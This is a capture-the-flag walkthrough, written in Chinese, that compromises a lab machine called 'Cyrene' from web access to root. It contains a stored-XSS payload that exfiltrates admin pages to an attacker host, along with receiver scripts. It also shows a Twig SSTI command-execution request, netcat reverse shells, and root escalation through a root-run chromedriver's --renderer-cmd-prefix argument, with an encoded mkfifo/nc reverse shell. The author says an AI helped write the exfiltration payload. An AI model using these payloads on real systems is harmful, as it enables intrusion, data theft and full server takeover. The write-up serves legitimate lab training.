

Cyrene

信息搜集

```
# Nmap 7.99 scan initiated Sun Sep 20 18:39:15 2026 as: /usr/lib/nmap/nmap -sT -Pn -sV -sC -O -p- -oA po
Nmap scan report for 192.168.1.7
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.68 ((Unix))
|_http-title: Customer Feedback - Fuukei Support Portal
|_http-server-header: Apache/2.4.68 (Unix)
MAC Address: 08:00:27:37:36:4E (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
```

常规端口

web

80端口

Fuukei

HomeFeedbackStaff Login

Welcome to the Fuukei Support Portal

We value your opinion. Share your feedback about our products and services, and our team will review it shortly.

Submit Feedback

Your name

Email address

Message

Basic HTML markup is preserved in your message.

Send Feedback

首页就是一个提交反馈的表单，同时又存在登录页，想到测试xss能不能抓管理cookie

```
<img src=x onerror="new Image().src='http://192.168.1.12:8000/aaa?u='+encodeURIComponent(location.href)">
```

```
192.168.1.3 - - [21/Sep/2026 19:52:47] code 404, message File not found
192.168.1.3 - - [21/Sep/2026 19:52:47] "GET /aaa?u=http%3A%2F%2F192.168.1.22%2Findex.php%3Fsent%3D1 HTTP/1.1" 404 -
192.168.1.3 - - [21/Sep/2026 19:52:47] code 404, message File not found
192.168.1.3 - - [21/Sep/2026 19:52:47] "GET /aaa?u=undefined HTTP/1.1" 404 -
```

经测试确实存在xss

```
192.168.1.7 - - [21/Sep/2026 17:30:58] code 404, message File not found
192.168.1.7 - - [21/Sep/2026 17:30:58] "GET /aaa?u=http%3A%2F%2F127.0.0.1%2Findex.php HTTP/1.1" 404 -
192.168.1.7 - - [21/Sep/2026 17:30:58] code 404, message File not found
192.168.1.7 - - [21/Sep/2026 17:30:58] "GET /aaa?u= HTTP/1.1" 404 -
```

并且存在机器人定期访问<http://127.0.0.1/index.php>, 尝试捞cookie

```
(kali㉿192)-[~/Desktop/Dasz/cyrene]
$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.3 - - [21/Sep/2026 19:47:16] code 404, message File not found
192.168.1.3 - - [21/Sep/2026 19:47:16] "GET /aaa?u= HTTP/1.1" 404 -
```

没抓到, 发现开启了HttpOnly, 只能尝试利用其访问内网页面或管理员页面

```
[18:39:45] 403 - 314B - /.htpasswd
[18:39:45] 403 - 314B - /.httr-oauth
[18:39:55] 302 - 0B - /admin.php -> login.php
[18:40:13] 200 - 820B - /cgi-bin/printenv
[18:40:13] 200 - 1KB - /cgi-bin/test-cgi
```

根据目录爆破信息发现存在admin.php, 直接访问跳login, 推测是其管理后台

```
<img src=x onerror="
var B='http://192.168.1.12:9999/';var R=Math.random();
fetch('/admin.php',{credentials:'include'}).then(r=>r.text()).then(function(t){
  new Image().src=B+'LEN?n='+t.length+'&r='+R;
  var b=btoa(unescape(encodeURIComponent(t)));
  for(var i=0;i<b.length;i+=500){
    new Image().src=B+'H?
i='+i+'&r='+R+'&d='+encodeURIComponent(b.substr(i,500));
  }
})">
```

AI帮忙搓一个payload, 实现带cookie读同源/admin.php页面, 将回显html切片(url存在长度限制)并base64编码传回kali

接收脚本

```
import http.server, socketserver, datetime
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):

        open('/home/kali/Desktop/aaa.log', 'a').write(datetime.datetime.now().strftime('%H:%M:%S')+' '+self.path+'\n')
        self.send_response(200); self.send_header('Content-Type', 'image/gif');
        self.end_headers(); self.wfile.write(b'GIF89a')
        def log_message(self, *a): pass
socketserver.TCPServer.allow_reuse_address=True
socketserver.TCPServer(('0.0.0.0', 9999), H).serve_forever()
```

还原脚本

```
import re, urllib.parse, base64
ch={}
for line in open('/home/kali/Desktop/aaa.log'):
    m=re.search(r'/H\?(\S+)', line)
    if not m: continue
    qs=m.group(1)
    i=re.search(r'(?:\&)i=(\d+)', qs); d=re.search(r'(?:\&)d=(\S+)', qs)
    if i and d: ch[int(i.group(1))]=d.group(1)
s=''.join(base64.b64decode(urllib.parse.unquote(ch[i])).decode('utf-8','replace') for i in sorted(ch))
open('/tmp/admin.html','w').write(s); print(len(s),'bytes',len(ch),'chunks')
```

admin.php

[Fuukei](#)
[Home](#) [Feedback](#) [Staff Login](#)

Support Inbox

[Templates](#) [System Info](#) [Log Out](#)

10 submission(s) awaiting review.

admin.php暴露三个功能点

admin_email.php admin_server_info.php logout.php

再分别抓页面回来

admin_server_info.php

[Fuukei](#)
[Home](#) [Feedback](#) [Staff Login](#)

Staff Login

Username Password

Restricted area for authorized Fuukei staff only.

© 2026 Fuukei Ltd. All rights reserved.



p.net"/>

PHP Version 8.3.33

System	Linux Cyrene 7.1.3-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-07-10 21:14:29 x86_64
Build Date	Jul 30 2026 15:42:17
Build System	Linux build-edge-x86_64 6.18.33-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2026-05-24 18:06:34 x86_64 Linux
Build Provider	Alpine Linux aports
Configure Command	'/configure' '--disable-all' '--disable-phpdbg' '--disable-cli' '--with-apxs2' '--build=x86_64-alpine-linux-musl' '--host=x86_64-alpine-linux-musl' '--prefix=/usr' '--program-suffix=-83' '--libdir=/usr/lib/php83' '--datadir=/usr/share/php83' '--sysconfdir=/etc/php83' '--localstatedir=/var' '--with-layout=GNU' '--with-pic' '--with-config-file-path=/etc/php83' '--with-config-file-scan-dir=/etc/php83/conf.d' '--disable-rpath' '--disable-short-tags' '--with-libxml' '--with-zlib' '--with-external-pcre' '--enable-filter' 'build_alias=x86_64-alpine-linux-musl' 'host_alias=x86_64-alpine-linux-musl'
Server API	Apache 2.0 Handler

似乎是phpinfo()的页面，找找有没有敏感信息

```
#网站根路径
/var/www/localhost/htdocs

#机器人会话ID(PHPINFO会带上请求的header)
PHPSESSID=ni0lmhc1551v2j4rcv77fn3c91

#无disable_functions
```

```
200 1KB http://192.168.1.7/login.php
200 493B http://192.168.1.7/vendor/
200 0B http://192.168.1.7/vendor/composer/autoload_classmap.php
```

Index of /vendor

- [Parent Directory](#)
- [autoload.php](#)
- [composer/](#)
- [symfony/](#)
- [twig/](#)

http://192.168.1.23/vendor/

之前目录扫描存在twig目录，twig是php的一个模板引擎，可以渲染如`{{}}`、`{%%}`之类的模板语句

admin_email.php

Notification Templates

[Back to Inbox](#)[Log Out](#)

Compose email templates for automated feedback replies. Templates support simple Twig markup.

Template name

Template body

Available variables: customer, site, submitted_at.

[Preview](#)[Save Template](#)

结合twig目录很容易联想到存在SSTI

payload

```
cmd: {[ 'id' ] | filter('system')}]}
```

```
curl -X POST "http://192.168.1.23/admin_email.php" -H "Cookie: PHPSESSID=ni0lmhc155lv2j4rcv77fn3c9l" -d 'name=aaa&body=%7B%7B%5B%27id%27%5D%7Cfilter%28%27system%27%29%7D%7D&action=preview' | grep uid
```

附上各类姿势

<https://ehzisum.github.io/2025/03/24/SSTI-php模板引擎Twig注入全面指南/>

```
(kali㉿192)-[/tmp]
$ curl -X POST "http://192.168.1.23/admin_email.php" -H "Cookie: PHPSESSID=ni0lmhc155lv2j4rcv77fn3c9l" -d 'name=aaa&body=%7B%7B%5B%27id%27%5D%7Cfilter%28%27system%27%29%7D%7D&action=preview' | grep uid
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Total   Spent    Left   Speed
100  1996  100    1914  100      82  128.0k    5618
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
```

成功RCE

config.php

拿到web后台密码

```
define('ADMIN_USER', 'admin');
define('ADMIN_PASS', 'Fuukei#2026Q4!Secure');
```

ps: 之前尝试利用机器人完成SSTI, 没有成功, 原因如下:

```
//config.php
$remote_addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (is_admin() && $remote_addr !== '' && $remote_addr !== '127.0.0.1' &&
    $remote_addr !== ':::1') {
    $_SESSION['ext_access'] = true;
}

//admin_email.php
if (!is_admin()) {
    redirect_to('login.php');
}

if (!isset($_SESSION['ext_access'])) {
    redirect_to('admin.php');
}
```

访问admin_email.php需要ext_access置为true

后面反弹shell即可

```

(kali㉿192)-[~]
$ sudo nc -lvnp 9999
[sudo] kali 的密码:
listening on [any] 9999 ...
connect to [192.168.1.12] from (UNKNOWN) [192.168.1.23] 56152
bash: cannot set terminal process group (2510): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
Cyrene:/var/www/localhost/htdocs$ whoami
whoami
apache
Cyrene:/var/www/localhost/htdocs$ |

```

提权

```

Linux Cyrene 7.1.5-0-Stable #1 Alpine GNU PRELINK-BINARY 2020-07-10
Cyrene:/var/www/localhost/htdocs$ find / -perm -u=s 2>/dev/null
find / -perm -u=s 2>/dev/null
/bin/umount
/bin/bbsuid
/bin/mount
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/chromium/chrome-sandbox
/usr/sbin/suexec
Cyrene:/var/www/localhost/htdocs$

```

存在陌生SUID文件

```
/usr/lib/chromium/chrome-sandbox
```

实践上需要留意的点

- 就我所知，`chrome-sandbox` 是较老的 SUID 沙箱方案，新版 Chromium 在支持的系统上优先使用用户命名空间沙箱，SUID 版本主要是回退方案。
- SUID 枚举时常能在系统里看到 `/usr/lib/chromium/chrome-sandbox`，它是提权排查时会被列出的常规条目。只要它是 root 拥有、权限为 4755 且随官方包发布，通常不构成问题。
GoLinuxCloud
- 如果你用的是 Electron 应用，需要给它 root:4755，或者改用 `--no-sandbox`。后者会直接放弃沙箱保护，不建议在处理不可信内容的场景使用。
- 要确认自己的环境，可以查一下系统里的 `chrome-sandbox` 文件权限和所有者，以及内核是否已经修补 CVE-2025-38236。

问问神奇的claude，优先级先放后

打印进程历史，发现后台跑的机器人，同时发现以root运行的chromedriver

```

2316 root    0:00 /sbin/udhcpc -b -R -p /var/run/udhcpc.eth0.pid -i eth0 -x hostname:Cyrene
2384 root    0:00 /sbin/syslogd -t n
2408 root    0:00 python3 /opt/admin_bot/bot.py
2422 root    0:04 chromedriver --port=9515 --log-path=/var/log/admin_bot_driver.log
2427 root    0:01 {Daemon} /opt/cobbler-venv/bin/python3 /opt/cobbler-venv/bin/cobblerd -F
2449 root    0:00 /sbin/acpid -f

```

chromedriver

用于自动化程序调用浏览器

启动一个 HTTP 服务，默认监听 127.0.0.1:9515。
接收符合 W3C WebDriver 标准的 HTTP/JSON 请求。
根据请求控制 Chrome：打开网页、点击元素、输入文本、执行 JavaScript、截图、获取 DOM、管理 Cookie 等。
把浏览器的返回结果再传回给调用方。

```
100 1045 100 882 100 163 2070 382 0
{"value":{"capabilities":{"acceptInsecureCerts":false,"browserName":"chrome","browserVersion":"151.0.7922.173","chrome":{"chromedriverVersion":"151.0.7922.173 (a96602f30358e9b5d256a0464e7e4d4bec223004-refs/branch-heads/7922@{#3322})","userDataDir":"/tmp/org.chromium.Chromium.scoped_dir.hIAJdD"},"fedcm:accounts":true,"goog:chromeOptions":{"debuggerAddress":"localhost:38709"},"goog:processID":1664,"networkConnectionEnabled":false,"pageLoadStrategy":"normal","platformName":"linux","proxy":{"setWindowRect":true,"strictFileInteractability":false,"timeouts":{"implicit":0,"pageLoad":300000,"script":30000},"unhandledPromptBehavior":"dismiss and notify","webauthn:extension:credBlob":true,"webauthn:extension:largeBlob":true,"webauthn:extension:minPinLength":true,"webauthn:extension:prf":true,"webauthn:virtualAuthenticators":true},"sessionId":"d91edd09e82d3ee398cef83404d9a00a"}}Cyrene:/tmp$ |
```

获取会话ID

```
curl -X POST http://127.0.0.1:9515/session -H "Content-Type: application/json" -d '{"capabilities":{"alwaysMatch":{"browserName":"chrome","goog:chromeOptions":{"args":["--no-sandbox","--disable-dev-shm-usage","--disable-gpu"],"headless=new"}}}}'
```

导航页面

```
curl -X POST http://127.0.0.1:9515/session/2d6fa018247ea3dab18282189df0fca9/url -d '{"url":"file:///root/root.txt"}'
```

```
curl -X POST http://127.0.0.1:9515/session/d91edd09e82d3ee398cef83404d9a00a/url -d '{"url":"file:///etc/passwd"}' && echo \n
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 42 100 14 100 28 264 529 0
{"value":null}\n
Cyrene:/tmp$ |
```

读取页面

```
curl http://127.0.0.1:9515/session/2d6fa018247ea3dab18282189df0fca9/source
```

```
100 259 100 259 0 0 22906 0 0
{"value":"\u003Chtml>\u003Chead>\u003Cmeta name=\"color-scheme\" content=\"light dark\">\u003C/head>\u003Cbody>\u003Cpre style=\"word-wrap: break-word; white-space: pre-wrap;\n>flag{root-18687f6ee5c8104d2b5190fb7b8983a9}\n\u003C/pre>\u003C/body>\u003C/html>"}Cyrene:/tmp$ |
```

获取rootshell

Chrome存在一个启动参数：--renderer-cmd-prefix

该参数允许网页渲染进程启动前额外执行一个外部命令，可以通过chromedriver向Chrome传递该参数

```

import json, urllib.request, time
B='http://127.0.0.1:9515'
def post(p,d):
    r=urllib.request.Request(B+p,data=json.dumps(d).encode(),headers={'Content-Type':'application/json'})
    return json.load(urllib.request.urlopen(r,timeout=40))

args=['--no-sandbox','--headless=new','--disable-gpu',
      '--renderer-cmd-prefix=/bin/bash -c id>/tmp/id #'] #结尾#防止其他参数干
扰bash执行
r=post('/session',{'capabilities':{'alwaysMatch':{'goog:chromeOptions':
{'args':args}}}})
sid=r['value']['sessionId']
try: post('/session/'+sid+'/url',{'url':'http://127.0.0.1/index.php'}) # 触发
renderer
except Exception: pass
time.sleep(5)

```

```

Cyrene:/tmp$ cat id
cat id
uid=0(root) gid=0(root)
Cyrene:/tmp$

```

再反弹一次shell即可

```

'--renderer-cmd-prefix=/bin/bash -c
echo${IFS}cm0gLWYgL3RtcC9mO2lrZmImbyAvdG1wL2Y7Y2F0IC90bXAvZnVwYm1uL3NoIC1pIDI+Jj
F8YnVZewJveCBuYyAXOTIuMTY4LjEuMTIgNDQ0NSA+L3RtcC9m|base64${IFS}-d|bash'

#结尾#防止其他参数干扰bash执行,payload先整体base64再传,${IFS}代替空格防止chromedriver乱
切分

```

```

(kali㉿192)-[~/Desktop/Dasz/cyrene]
$ sudo nc -lvnp 4445
listening on [any] 4445 ...
connect to [192.168.1.12] from (UNKNOWN) [192.168.1.24] 39893
/bin/sh: can't access tty; job control turned off
/ # whoami
root
/ # |

```